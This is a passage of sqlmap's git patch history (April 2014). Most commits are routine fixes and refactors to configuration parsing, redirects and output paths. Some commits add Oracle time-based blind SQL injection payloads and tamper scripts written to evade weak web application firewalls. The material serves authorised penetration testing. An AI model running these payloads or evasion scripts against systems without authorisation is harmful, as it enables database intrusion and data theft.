"no GET and/or POST parameter(s) found for testing " - warnMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" + warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1')" logger.critical(warnMsg) if conf.crawlDepth or conf.forms: From e3ccf455032fd687b5ff8bedc723c621cca41c9d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:17:47 +0200 Subject: [PATCH 270/889] Graceful abort in case of an invalid configuration file --- lib/parse/configfile.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index b5d576bfa..d9e98bf1f 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import codecs from ConfigParser import MissingSectionHeaderError +from ConfigParser import ParsingError from lib.core.common import checkFile from lib.core.common import unArrayizeValue @@ -64,8 +65,8 @@ def configFileParser(configFile): try: config = UnicodeRawConfigParser() config.readfp(configFP) - except MissingSectionHeaderError: - errMsg = "you have provided an invalid configuration file" + except (MissingSectionHeaderError, ParsingError), ex: + errMsg = "you have provided an invalid configuration file ('%s')" % str(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): From fdad787681d06ea37c452dea02c0b7b8a72e519c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:22:51 +0200 Subject: [PATCH 271/889] Graceful abort in case of an invalid option in configuration file --- lib/parse/configfile.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index d9e98bf1f..3715a3c97 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -31,12 +31,17 @@ def configFileProxy(section, option, boolean=False, integer=False): global config if config.has_option(section, option): - if boolean: - value = config.getboolean(section, option) if config.get(section, option) else False - elif integer: - value = config.getint(section, option) if config.get(section, option) else 0 - else: - value = config.get(section, option) + try: + if boolean: + value = config.getboolean(section, option) if config.get(section, option) else False + elif integer: + value = config.getint(section, option) if config.get(section, option) else 0 + else: + value = config.get(section, option) + except ValueError, ex: + errMsg = "error occurred while processing the option " + errMsg += "'%s' in provided configuration file ('%s')" % (option, str(ex)) + raise SqlmapSyntaxException(errMsg) if value: conf[option] = value From cb0044b2c49ab34755dfc319103a2f93f62bc42d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:28:17 +0200 Subject: [PATCH 272/889] Minor beauty patch --- lib/controller/controller.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 06f98fbc5..e57330d96 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -20,6 +20,7 @@ from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection from lib.controller.checks import identifyWaf from lib.core.agent import agent +from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import getPublicTypeMembers @@ -352,6 +353,7 @@ def start(): if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): + dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break From 2d3a74a0fe6c8c47c60b0d027ca4fbb176dd4dbf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 21:01:40 +0200 Subject: [PATCH 273/889] Patch for an Issue #667 --- lib/request/redirecthandler.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index bbc566095..40c5fe9b9 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -104,11 +104,15 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + try: + if not urlparse.urlsplit(redurl).netloc: + redurl = urlparse.urljoin(req.get_full_url(), redurl) - self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + self._infinite_loop_check(req) + self._ask_redirect_choice(code, redurl, req.get_method()) + except ValueError: + redurl = None + result = fp if redurl and kb.redirectChoice == REDIRECTION.YES: req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) From 9b0662d1a91cbc7327b20241b7b70f8699229acb Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 9 Apr 2014 12:14:16 +0000 Subject: [PATCH 274/889] added new Oracle time-based payloads --- xml/payloads.xml | 42 ++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 40 insertions(+), 2 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 89036aa0b..2095bc249 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -3325,7 +3325,26 @@ Formats: - Oracle time-based blind - Parameter replace + Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) + 5 + 3 + 0 + 1,3 + 3 + (BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END) + + (BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END) + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 @@ -3605,7 +3624,26 @@ Formats: - Oracle time-based blind - GROUP BY and ORDER BY clauses + Oracle time-based blind - GROUP BY and ORDER BY clauses (DBMS_LOCK.SLEEP) + 5 + 3 + 0 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE 1/(SELECT 0 FROM DUAL); END IF; END) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE 1/(SELECT 0 FROM DUAL); END IF; END) + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - GROUP BY and ORDER BY clauses (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 From 7f5ea245906055014165ef136ca9ea5c3afb51b9 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 9 Apr 2014 12:14:33 +0000 Subject: [PATCH 275/889] added a few common outputs for --predict-output --- txt/common-outputs.txt | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index 55770e2b2..199901a82 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -11,15 +11,25 @@ 5.0. 5.1. 5.5. +5.6. 6.0. # PostgreSQL +PostgreSQL 7.0 +PostgreSQL 7.1 +PostgreSQL 7.2 PostgreSQL 7.3 PostgreSQL 7.4 +PostgreSQL 8.0 PostgreSQL 8.1 PostgreSQL 8.2 PostgreSQL 8.3 PostgreSQL 8.4 +PostgreSQL 8.5 +PostgreSQL 9.0 +PostgreSQL 9.1 +PostgreSQL 9.2 +PostgreSQL 9.3 # Oracle Oracle Database 9i Standard Edition Release From a5aa1c2f9436c908f0d3604397756406a3b8d06d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 9 Apr 2014 12:20:52 +0000 Subject: [PATCH 276/889] some more common output for Oracle banner --- txt/common-outputs.txt | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index 199901a82..2dbac86df 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -33,14 +33,22 @@ PostgreSQL 9.3 # Oracle Oracle Database 9i Standard Edition Release +Oracle Database 9i Standard Edition Release 9. Oracle Database 9i Express Edition Release +Oracle Database 9i Express Edition Release 9. Oracle Database 9i Enterprise Edition Release +Oracle Database 9i Enterprise Edition Release 9. Oracle Database 10g Standard Edition Release +Oracle Database 10g Standard Edition Release 10. Oracle Database 10g Express Edition Release Oracle Database 10g Enterprise Edition Release +Oracle Database 10g Enterprise Edition Release 10. Oracle Database 11g Standard Edition Release +Oracle Database 11g Standard Edition Release 11. Oracle Database 11g Express Edition Release +Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release +Oracle Database 11g Enterprise Edition Release 11. # Microsoft SQL Server Microsoft SQL Server 7.0 From 42bde5328dffa22ea0faf066b1ec070334226d10 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 9 Apr 2014 12:29:52 +0000 Subject: [PATCH 277/889] minor fix --- xml/payloads.xml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 2095bc249..c8ae31e66 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -3324,6 +3324,7 @@ Formats:
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 @@ -3331,9 +3332,9 @@ Formats: 0 1,3 3 - (BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END) + BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END - (BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE [RANDNUM]; END IF; END) + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END From 78ab525966d50aadf336ca36f0c49caf14917772 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 9 Apr 2014 12:31:52 +0000 Subject: [PATCH 278/889] minor fix to Oracle payloads --- xml/payloads.xml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index c8ae31e66..54a016d7c 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -3332,9 +3332,9 @@ Formats: 0 1,3 3 - BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; - BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; @@ -3631,9 +3631,9 @@ Formats: 0 2,3 1 - ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE 1/(SELECT 0 FROM DUAL); END IF; END) + ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) - ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE 1/(SELECT 0 FROM DUAL); END IF; END) + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) From 1e8349eeaa169a5fb3487041676afe5ba511a7c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Apr 2014 20:55:13 +0200 Subject: [PATCH 279/889] Minor fix --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 11abd2870..1ce0ecef2 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -103,7 +103,7 @@ class Agent(object): elif kb.postHint == POST_HINT.JSON_LIKE: origValue = extractRegexResult(r'(?s)\'\s*:\s*(?P\d+\Z)', origValue) or extractRegexResult(r"(?s)(?P[^']+\Z)", origValue) else: - _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) or "" + _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue From 0d1690de6135a0a6758e144ca52db18af6f44b7f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Apr 2014 21:09:27 +0200 Subject: [PATCH 280/889] Minor fix --- lib/core/agent.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 1ce0ecef2..b6d7a5f0a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -185,7 +185,7 @@ class Agent(object): # If we are replacing () the parameter original value with # our payload do not prepend with the prefix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: query = "" # If the technique is stacked queries () do not put a space @@ -234,7 +234,7 @@ class Agent(object): # If we are replacing () the parameter original value with # our payload do not append the suffix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.suffix: pass elif suffix and not comment: From 096ce7881eb6f441a5350ff5b9dce05f5b33d00b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Apr 2014 21:18:04 +0200 Subject: [PATCH 281/889] Minor beauty patch --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b6d7a5f0a..3f2ce3eed 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -201,7 +201,7 @@ class Agent(object): else: query = kb.injection.prefix or prefix or "" - if not (expression and expression[0] == ";"): + if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')): query += " " query = "%s%s" % (query, expression) From 7f371c499df0f63c55fd6949a68c1a12d64cf89a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Apr 2014 21:29:59 +0200 Subject: [PATCH 282/889] Commit related to the last one --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3f2ce3eed..9321b1455 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -201,7 +201,7 @@ class Agent(object): else: query = kb.injection.prefix or prefix or "" - if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')): + if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " query = "%s%s" % (query, expression) From f07bdcfda1365f00a33c562548d04d50db61cfd7 Mon Sep 17 00:00:00 2001 From: "Bernardo Damele A. G." Date: Fri, 11 Apr 2014 14:15:17 +0000 Subject: [PATCH 283/889] Update README.md markdown syntax fix --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index accd0da6e..fc17c3824 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](http://www.python.org/download/) version '''2.6.x''' and '''2.7.x''' on any platform. +sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. Usage ---- From b5cca742e4c7d40727998eec9b700b80f870fc3f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Apr 2014 12:41:54 +0200 Subject: [PATCH 284/889] Adding a comment --- lib/core/common.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 38fe61919..29d482e5d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -984,6 +984,10 @@ def banner(): dataToStdout(_, forceOutput=True) def parsePasswordHash(password): + """ + In case of Microsoft SQL Server password hash value is expanded to its components + """ + blank = " " * 8 if not password or password == " ": From fd884ec67bd5f1e29d6972a457f4be411007bcdc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Apr 2014 12:50:45 +0200 Subject: [PATCH 285/889] Adding another comment --- lib/core/common.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 29d482e5d..2e01b1cdc 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1006,6 +1006,10 @@ def parsePasswordHash(password): return password def cleanQuery(query): + """ + Switch all SQL statement (alike) keywords to upper case + """ + retVal = query for sqlStatements in SQL_STATEMENTS.values(): From ef5ce7e66c26af2405ea7f0e1da282b99f7cb450 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Apr 2014 17:22:33 +0200 Subject: [PATCH 286/889] Fix for an Issue #670 --- lib/core/target.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 00bfeaab2..c1c007f1c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -462,7 +462,16 @@ def _createFilesDir(): conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): - os.makedirs(conf.filePath, 0755) + try: + os.makedirs(conf.filePath, 0755) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") + warnMsg = "unable to create files directory " + warnMsg += "'%s' (%s). " % (conf.filePath, ex) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) + + conf.filePath = tempDir def _createDumpDir(): """ From f29769b7d03cfe0be7e92e3808558a83884c35d2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Apr 2014 09:06:17 +0200 Subject: [PATCH 287/889] Minor patch --- lib/utils/versioncheck.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index a348fca34..802e0cf59 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -16,7 +16,7 @@ extensions = ("gzip", "ssl", "sqlite3", "zlib") try: for _ in extensions: __import__(_) -except ImportError, ex: +except ImportError: errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) errMsg += "most probably because current version of Python has been " errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" From e0fb21c26a22de1a6d3544f2e9c99f770c0280d3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Apr 2014 21:57:30 +0200 Subject: [PATCH 288/889] Patch for an Issue #673 --- lib/takeover/metasploit.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index d29a71e37..36fac0120 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -65,7 +65,16 @@ class Metasploit: self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) if IS_WIN: - _ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat")) + _ = conf.msfPath + while _: + if os.path.exists(os.path.join(_, "scripts")): + _ = os.path.join(_, "scripts", "setenv.bat") + break + else: + old = _ + _ = normalizePath(os.path.join(_, "..")) + if _ == old: + break self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) From 6fd3c27f70913117db723823afd84e17f9a1f213 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Apr 2014 08:48:12 +0200 Subject: [PATCH 289/889] Update for an Issue #672 --- doc/THANKS.md | 3 +++ tamper/lowercase.py | 46 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+) create mode 100644 tamper/lowercase.py diff --git a/doc/THANKS.md b/doc/THANKS.md index b275c5ef2..b1eb320d5 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -238,6 +238,9 @@ Dirk Jagdmann, Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 +Andrew Kitis +* for contributing a tamper script lowercase.py + David Klein, * for reporting a minor code improvement diff --git a/tamper/lowercase.py b/tamper/lowercase.py new file mode 100644 index 000000000..fae01a3e3 --- /dev/null +++ b/tamper/lowercase.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each keyword character with lower case value + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + * This tamper script should work against all (?) databases + + >>> tamper('INSERT') + 'insert' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"[A-Za-z_]+", retVal): + word = match.group() + + if word.upper() in kb.keywords: + retVal = retVal.replace(word, word.lower()) + + return retVal From efa3c3e4515764d13890f183519d9db3fa3c88f3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Apr 2014 11:04:28 +0200 Subject: [PATCH 290/889] Minor improvement of between tamper script --- tamper/between.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tamper/between.py b/tamper/between.py index a508ae40e..e7f3d4014 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -17,6 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' + Replaces equals operator ('=') with 'BETWEEN # AND #' Tested against: * Microsoft SQL Server 2005 @@ -32,6 +33,8 @@ def tamper(payload, **kwargs): >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' + >>> tamper('1 AND A = B--') + '1 AND A BETWEEN B AND B--' """ retVal = payload @@ -45,4 +48,12 @@ def tamper(payload, **kwargs): else: retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) + if retVal == payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) + + if match: + _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) + retVal = retVal.replace(match.group(0), _) + + return retVal From ae8b1fe89c57c4f4e35e8541d029b86bc6cf5801 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Apr 2014 09:17:10 +0200 Subject: [PATCH 291/889] Implementation for an Issue #678 --- lib/core/enums.py | 6 ++++++ lib/core/option.py | 39 ++++++++++++++++++++++++++++++++++++--- lib/core/settings.py | 3 +++ 3 files changed, 45 insertions(+), 3 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index bc87b5a2a..9b41db113 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -179,6 +179,12 @@ class EXPECTED: BOOL = "bool" INT = "int" +class OPTION_TYPE: + BOOLEAN = "boolean" + INTEGER = "integer" + FLOAT = "float" + STRING = "string" + class HASHDB_KEYS: DBMS = "DBMS" CONF_TMP_PATH = "CONF_TMP_PATH" diff --git a/lib/core/option.py b/lib/core/option.py index b905944cd..7ea6b67de 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -75,6 +75,7 @@ from lib.core.enums import DUMP_FORMAT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MOBILES +from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE @@ -120,6 +121,7 @@ from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import SYBASE_ALIASES @@ -1823,16 +1825,16 @@ def _saveCmdline(): datatype = datatype[0] if value is None: - if datatype == "boolean": + if datatype == OPTION_TYPE.BOOLEAN: value = "False" - elif datatype in ("integer", "float"): + elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): if option in ("threads", "verbose"): value = "1" elif option == "timeout": value = "10" else: value = "0" - elif datatype == "string": + elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, basestring): @@ -1903,6 +1905,37 @@ def _mergeOptions(inputOptions, overrideOptions): if hasattr(conf, key) and conf[key] is None: conf[key] = value + _ = {} + for key, value in os.environ.items(): + if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): + _[key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper()] = value + + types_ = {} + for group in optDict.keys(): + types_.update(optDict[group]) + + for key in conf: + if key.upper() in _: + value = _[key.upper()] + + if types_[key] == OPTION_TYPE.BOOLEAN: + try: + value = bool(value) + except ValueError: + value = False + elif types_[key] == OPTION_TYPE.INTEGER: + try: + value = int(value) + except ValueError: + value = 0 + elif types_[key] == OPTION_TYPE.FLOAT: + try: + value = float(value) + except ValueError: + value = 0.0 + + conf[key] = value + mergedOptions.update(conf) def _setTrafficOutputFP(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 14cc72c85..58ca1d62e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -346,6 +346,9 @@ ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" # Prefix for Google analytics cookie names GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" +# Prefix for configuration overriding environment variables +SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" + # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 From b54651b5a2a79576872b233dc2f07a0b3286df53 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Apr 2014 09:32:57 +0200 Subject: [PATCH 292/889] Minor patch (while saving configuration file) --- lib/core/option.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7ea6b67de..ab3f119a3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1828,10 +1828,8 @@ def _saveCmdline(): if datatype == OPTION_TYPE.BOOLEAN: value = "False" elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): - if option in ("threads", "verbose"): - value = "1" - elif option == "timeout": - value = "10" + if option in defaults: + value = str(defaults[option]) else: value = "0" elif datatype == OPTION_TYPE.STRING: From eb8e31c23fca07b30b66d5b72b81e3ef218ef140 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 27 Apr 2014 22:40:41 +0200 Subject: [PATCH 293/889] Adding a failsafe output directory --- lib/core/common.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 2e01b1cdc..9a6735678 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1038,6 +1038,10 @@ def setPaths(): paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_ROOT_PATH, "output")) + + if not os.access(paths.SQLMAP_OUTPUT_PATH, os.W_OK): + paths.SQLMAP_OUTPUT_PATH = os.path.join(os.path.expanduser("~"), ".sqlmap", "output") + paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") From bd16bb7a6a443de6a7233f4cb1b361dfdf348684 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 27 Apr 2014 22:48:28 +0200 Subject: [PATCH 294/889] Adding an appropriate warning message --- sqlmap.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sqlmap.py b/sqlmap.py index 5a889d5f9..0e81ef537 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -83,6 +83,10 @@ def main(): dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) + if ".sqlmap" in paths.SQLMAP_OUTPUT_PATH: + warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH + logger.warn(warnMsg) + init() if conf.profile: From 2e96e3c9248336a9b3e8208b57ce1628ade896b2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Apr 2014 23:26:45 +0200 Subject: [PATCH 295/889] Adding a hidden switch --ignore-401 --- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 2 +- 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7bede5304..9a1c0e450 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -224,6 +224,7 @@ optDict = { "cpuThrottle": "integer", "forceDns": 